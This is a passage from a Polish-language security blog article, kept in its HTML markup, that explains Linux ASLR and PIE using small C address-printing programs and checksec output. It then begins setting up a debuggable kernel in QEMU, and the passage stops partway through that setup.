&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#include&lt;/span> &lt;span class="cpf">&amp;lt;stdlib.h&amp;gt;&lt;/span>&lt;span class="cp">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kt">int&lt;/span> &lt;span class="nf">main&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">char&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">printf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;%p&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="o">&amp;amp;&lt;/span>&lt;span class="n">c&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">EXIT_SUCCESS&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Po skompilowaniu tego kodu i jego wielokrotnym uruchomieniu jesteśmy w
stanie zaobserwować, że adres zmiennej za każdym razem się
zmienia. Jest to możliwe właśnie dzięki mechanizmowi ASLR!&lt;/p>
&lt;p>&lt;img src="./p1.png" alt="image" loading="lazy" />&lt;/p>
&lt;p>Dodatkowo możemy powtórzyć eksperyment dla zmiennych należących do
różnych segmentów pamięci: np. lokalnych, globalnych i adresów
funkcji.&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#include&lt;/span> &lt;span class="cpf">&amp;lt;stdio.h&amp;gt;&lt;/span>&lt;span class="cp">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#include&lt;/span> &lt;span class="cpf">&amp;lt;stdlib.h&amp;gt;&lt;/span>&lt;span class="cp">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kt">int&lt;/span> &lt;span class="n">globalna&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kt">void&lt;/span> &lt;span class="nf">funkcja&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">void&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kt">int&lt;/span> &lt;span class="nf">main&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">int&lt;/span> &lt;span class="n">lokalna&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">printf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;lokalna:&lt;/span>&lt;span class="se">\t&lt;/span>&lt;span class="s">%p&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="o">&amp;amp;&lt;/span>&lt;span class="n">lokalna&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">printf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;globalna:&lt;/span>&lt;span class="se">\t&lt;/span>&lt;span class="s">%p&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="o">&amp;amp;&lt;/span>&lt;span class="n">globalna&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">printf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;funkcja:&lt;/span>&lt;span class="se">\t&lt;/span>&lt;span class="s">%p&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="o">&amp;amp;&lt;/span>&lt;span class="n">funkcja&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">printf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;printf: &lt;/span>&lt;span class="se">\t&lt;/span>&lt;span class="s">%p&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="o">&amp;amp;&lt;/span>&lt;span class="n">printf&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">EXIT_SUCCESS&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Oto rezultat wykonania powyższego programu:&lt;/p>
&lt;p>&lt;img src="./p2.png" alt="image" loading="lazy" />&lt;/p>
&lt;p>Uważni czytelnicy z pewnością są już w stanie zobaczyć pewne
niedoskonałości, ale nie wyprzedzajmy faktów :).&lt;/p>
&lt;h2>Krótka historia&lt;span class="hx:absolute hx:-mt-20" id="krótka-historia">&lt;/span>
&lt;a href="#kr%c3%b3tka-historia" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Pierwszą implementację ASLR w systemie Linux zawierała seria łatek PaX
z 2001 roku. Dodawała ona również inne zabezpieczenia, ale wychodzi to
poza zakres tego artykułu. W wersji 2.6.12 (2005) do oficjalnego jądra
Linuxa trafiła podstawowa implementacja ASLR. Ta pierwsza
implementacja mainline obejmowała randomizację pozycji stosu i
regionów mmap (w tym bibliotek współdzielonych). Heap pozostawał
jeszcze bez randomizacji. Jednak implementacja ta była znacznie
słabsza niż oryginalne patche PaX - używała mniejszej liczby bitów
entropii, co oznaczało węższą przestrzeń losowości i większą podatność
na ataki brute-force. ASLR zaczął być stopniowo wzmacniany poprzez
zwiększanie entropii i dodawanie nowych funkcjonalności, w tym
randomizację heapa oraz system kontroli ASLR przez
&lt;code>/proc/sys/kernel/randomize_va_space&lt;/code> z trzema poziomami: 0 - brak
ASLR, 1 - randomizacja częściowa (stos + mmap), 2 - pełna randomizacja
(dodatkowo heap).&lt;/p>
&lt;h2>Ciasto - Position Independent Executable (PIE)&lt;span class="hx:absolute hx:-mt-20" id="ciasto---position-independent-executable-pie">&lt;/span>
&lt;a href="#ciasto---position-independent-executable-pie" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Sam fakt obecności ASLR w systemie nie wystarcza. Żeby plik
wykonywalny mógł być załadowany w dowolne miejsce w przestrzeni
adresowej, musi być skompilowany w specjalny sposób uwzględniający
tę możliwość. Kompilator musi unikać adresowania absolutnego i wszędzie
używać adresowania relatywnego. Ładowane biblioteki zawsze były
kompilowane z myślą o tym, że nie będą wiedzieć w którym miejscu w
pamięci się znajdą, natomiast historycznie to nie zawsze była prawda
dla plików wykonywanych programów. Dla przykładu weźmy taki program i
skompilujmy go na różne sposoby:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#include&lt;/span> &lt;span class="cpf">&amp;lt;stdlib.h&amp;gt;&lt;/span>&lt;span class="cp">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&lt;/span>&lt;span class="kt">int&lt;/span> &lt;span class="n">global&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mh">0x41&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kt">int&lt;/span> &lt;span class="nf">main&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">global&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mh">0x61&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">EXIT_SUCCESS&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Dla systemu 64-bitowego x86-64 nie ma różnicy w jaki sposób
skompilujemy binarkę - w obu przypadkach (przynajmniej na mojej wersji
gcc 15.1.1) jest używana instrukcja relatywnego adresowania w
zależności od zawartości instruction pointera (rejestru &lt;code>rip&lt;/code>): &lt;code>movl $0x61, 0x2efc(%rip)&lt;/code>.&lt;/p>
&lt;p>&lt;img src="./pie2.png" alt="image" loading="lazy" />&lt;/p>
&lt;p>W przypadku systemu 32-bitowego x86 sprawa wygląda już ciekawiej.
Architektura x86 nie ma relatywnego adresowania zależnego od
zawartości rejestru &lt;code>%eip&lt;/code> (32-bitowy odpowiednik &lt;code>%rip&lt;/code>) i kompilator
musi trochę pokombinować, w rezultacie czego wypluwa inny kod dla
binarki, która jest position-independent. W przypadku no-pie znamy
adres zmiennej, do której chcemy się dostać, więc nie ma żadnego problemu. W
przypadku pie kompilator stworzył specjalną funkcję
&lt;code>__x86.get_pc_thunk.ax&lt;/code>, która ładuje do rejestru &lt;code>%eax&lt;/code> zawartość
&lt;code>%eip&lt;/code> (robi to poprzez czytanie adresu powrotu ze stosu).&lt;/p>
&lt;p>&lt;img src="./pie3.png" alt="image" loading="lazy" />&lt;/p>
&lt;p>&lt;img src="./thunk.png" alt="image" loading="lazy" />&lt;/p>
&lt;p>Zależnie od tego jaką dystrybucję używacie, możecie mieć pie włączone
domyślnie albo i nie. Niestety, nie ma żadnego standardu. Według moich
testów na Fedorze i Opensuse, flagi &lt;code>-pie&lt;/code> i &lt;code>-fpie&lt;/code> nie są dodawane za
nas i musimy je dodać sami. Na Archu (którego używam), Gentoo, Ubuntu
i Debianie flagi &lt;code>-pie&lt;/code> i &lt;code>-fpie&lt;/code> są dodawane za nas i nie musimy nic
pisać&amp;hellip; poza pewnym wyjątkiem! Do ilustracji użyjemy narzędzia
checksec, który jest częścią pythonowej biblioteki &lt;a href="https://docs.pwntools.com/en/stable/"target="_blank" rel="noopener">pwntools&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>. Pozwala
ono w łatwy sposób sprawdzić, które zabezpieczenia zostały włączone
bądź wyłączone podczas kompilacji programu. Na poniższym zdjęciu
możemy zobaczyć, że kompilacja z flagą &lt;code>-static&lt;/code> pozostawia program bez
position-independent kodu. Osobiście, polecałbym unikać tej flagi i
zamiast tego używać &lt;code>-static-pie&lt;/code>. Nic na tym nie tracimy, poza paroma
cyklami procesora podczas losowania adresu, a potencjalnie zyskujemy
dużo na bezpieczeństwie!&lt;/p>
&lt;p>W artykule &lt;a href="https://whitehats.pwr.edu.pl/research/buffer-overflow/"target="_blank" rel="noopener">&amp;ldquo;Stack based buffer overflow - Wstęp teoretyczny i (nie do
końca) praktyczna
demonstracja&amp;rdquo;&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>
Dawid specjalnie kompilował program z &lt;code>no-pie&lt;/code> właśnie po to, żeby
uniknąć dodatkowego zabezpieczenia wprowadzanego przez ASLR. W
rzeczywistej eksploitacji zazwyczaj wymagane są dwa błędy - jeden, żeby
złamać ASLR przez wycieki adresów, drugi żeby przejąć kontrolę nad
przepływem programu.&lt;/p>
&lt;p>&lt;img src="./pie1.png" alt="image" loading="lazy" />&lt;/p>
&lt;p>Jeśli jesteście nowi w temacie i pomyśleliście sobie &amp;ldquo;co, jeśli dwa
procesy będą miały ten sam adres? Nie wystąpi wtedy jakaś kolizja?&amp;rdquo;, to
już śpieszę się z wyjaśnieniem. Otóż, nie! Nazwa &amp;ldquo;wirtualna przestrzeń
adresowa&amp;rdquo; wzięła się stąd, że jest wirtualna&amp;hellip; co znaczy, że nie jest
fizyczna&amp;hellip; Co? Współczesne systemy operacyjne tłumaczą adresy
na fizyczne za pomocą MMU - różne procesy mogą używać tego samego
adresu, ale będzie on wskazywał na inną lokalizację w pamięci
fizycznej. Z punktu widzenia procesu, nie jest on nawet świadomy
istnienia innych procesów i wydaje mu się, że cała przestrzeń adresowa
istnieje tylko dla niego.&lt;/p>
&lt;h2>Linux Internals&lt;span class="hx:absolute hx:-mt-20" id="linux-internals">&lt;/span>
&lt;a href="#linux-internals" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Postanowiłem nie robić wstępnych założeń i nie patrzeć tylko na kod.
Żeby sprawdzić eksperymentalnie, jak liczone są wszystkie adresy, zbudowałem
kernel Linuxa z symbolami do debugowania. Podpinając debugger gdb do
kernela uruchomionego w wirtualnej maszynie QEMU zobaczymy od środka
jaki kod się wykonuje i jakie zmienne przyjmują jakie
wartości. Zachęcam do wykonania eksperymentu również u siebie w domu!&lt;/p>
&lt;h3>Przygotowanie środowiska&lt;span class="hx:absolute hx:-mt-20" id="przygotowanie-środowiska">&lt;/span>
&lt;a href="#przygotowanie-%c5%9brodowiska" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>Kroki, które wykonam będą robione na podstawie tego poradnika:
&lt;a href="https://vccolombo.github.io/cybersecurity/linux-kernel-qemu-setup/"target="_blank" rel="noopener">https://vccolombo.github.io/cybersecurity/linux-kernel-qemu-setup/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.
Jeśli nie jesteście zainteresowani robieniem tego własnoręcznie,
czytanie tego podrozdziału można spokojnie pominąć.&lt;/p>
&lt;p>Na początek instalujemy wszystkie zależności:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sh" data-lang="sh">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># w przypadku ubuntu&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo apt-get update
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo apt-get install git fakeroot build-essential ncurses-dev xz-utils libssl-dev bc flex libelf-dev bison qemu-system-x86 debootstrap
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># w przypadku archlinux&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo pacman -S git fakeroot base-devel ncurses xz openssl bc flex libelf bison qemu-system-x86 debootstrap&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Należy pobrać najnowszego tarballa z kernelem Linuxa z
&lt;a href="https://www.kernel.org/"target="_blank" rel="noopener">https://www.kernel.org/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>, w moim przypadku jest to 6.15-rc7, czyli
najnowszy w momencie pisania, i go wypakować.&lt;/p>
&lt;p>&lt;img src="./l1.png" alt="image" loading="lazy" />&lt;/p>
&lt;p>Następnie należy wygenerować pliki potrzebne do kompilacji poprzez napisanie &lt;code>$ make defconfig&lt;/code>, po czym otworzyć plik .config w ulubionym edytorze
tekstowym, w moim przypadku jest to Emacs, i dopisać na koniec:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;pre>&lt;code># Coverage collection.
CONFIG_KCOV=y
# Debug info for symbolization.
CONFIG_DEBUG_INFO=y
# Memory bug detector
CONFIG_KASAN=y
CONFIG_KASAN_INLINE=y
# Required for Debian Stretch
CONFIG_CONFIGFS_FS=y
CONFIG_SECURITYFS=y
CONFIG_DEBUG_INFO_DWARF5=y&lt;/code>&lt;/pre>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>a potem napisać &lt;code>$ make olddefconfig&lt;/code> i rozpocząć proces kompilacji za
pomocą polecenia &lt;code>$ make -j$(nproc)&lt;/code>. Może to potrwać od 10 minut do
paru godzin, zależnie od komputera.&lt;/p>
&lt;p>&lt;img src="./l2.png" alt="image" loading="lazy" />&lt;/p>
&lt;p>Jeśli nigdy nie kompilowaliście kernela, to spokojnie! Jak widać, nie jest to wcale
takie straszne, jak może się wydawać! Po tym, jak wykona się kompilacja,
powinny się stworzyć dwa pliki: &lt;code>./vmlinux&lt;/code>, który jest plikiem z
kernelem z symbolami do debugowania i &lt;code>arch/x86_64/boot/bzImage&lt;/code>,
który jest skompresowanym vmlinux ładowanym przez bootloader.&lt;/p>
&lt;p>&lt;img src="./l3.png" alt="image" loading="lazy" />&lt;/p>
&lt;p>Następnie musimy przygotować obraz systemu plików, z którego nasz
skompilowany kernel będzie korzystał. Wykonujemy polecenia, które stworzą nam obraz dysku na podstawie Debiana:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sh" data-lang="sh">&lt;span class="line">&lt;span class="cl">$ mkdir image &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> &lt;span class="nb">cd&lt;/span> image
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">$ wget https://raw.githubusercontent.com/google/syzkaller/master/tools/create-image.sh -O create-image.sh
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">$ chmod +x create-image.sh
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">$ ./create-image.sh&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>&lt;img src="./l4.png" alt="image" loading="lazy" />&lt;/p>
&lt;p>W tym momencie mamy już wszystko gotowe do uruchomienia
systemu. Tworzymy plik &lt;code>./run.sh&lt;/code>, do którego wpisujemy:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sh" data-lang="sh">&lt;span class="line">&lt;span class="cl">qemu-system-x86_64 &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> -m 1G &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> -smp &lt;span class="m">2&lt;/span> &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> -gdb tcp::1234 &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> -kernel &lt;span class="nv">$1&lt;/span>/arch/x86/boot/bzImage &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> -append &lt;span class="s2">&amp;#34;console=ttyS0 root=/dev/sda earlyprintk=serial net.ifnames=0 nokaslr&amp;#34;&lt;/span> &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> -drive &lt;span class="nv">file&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="nv">$2&lt;/span>/bullseye.img,format&lt;span class="o">=&lt;/span>raw &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> -net user,host&lt;span class="o">=&lt;/span>10.0.2.10,hostfwd&lt;span class="o">=&lt;/span>tcp:127.0.0.1:10021-:22 &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> -net nic,model&lt;span class="o">=&lt;/span>e1000 &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> -enable-kvm &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> -nographic &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> -pidfile vm.pid &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> 2&amp;gt;&lt;span class="p">&amp;amp;&lt;/span>&lt;span class="m">1&lt;/span> &lt;span class="p">|&lt;/span> tee vm.log&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
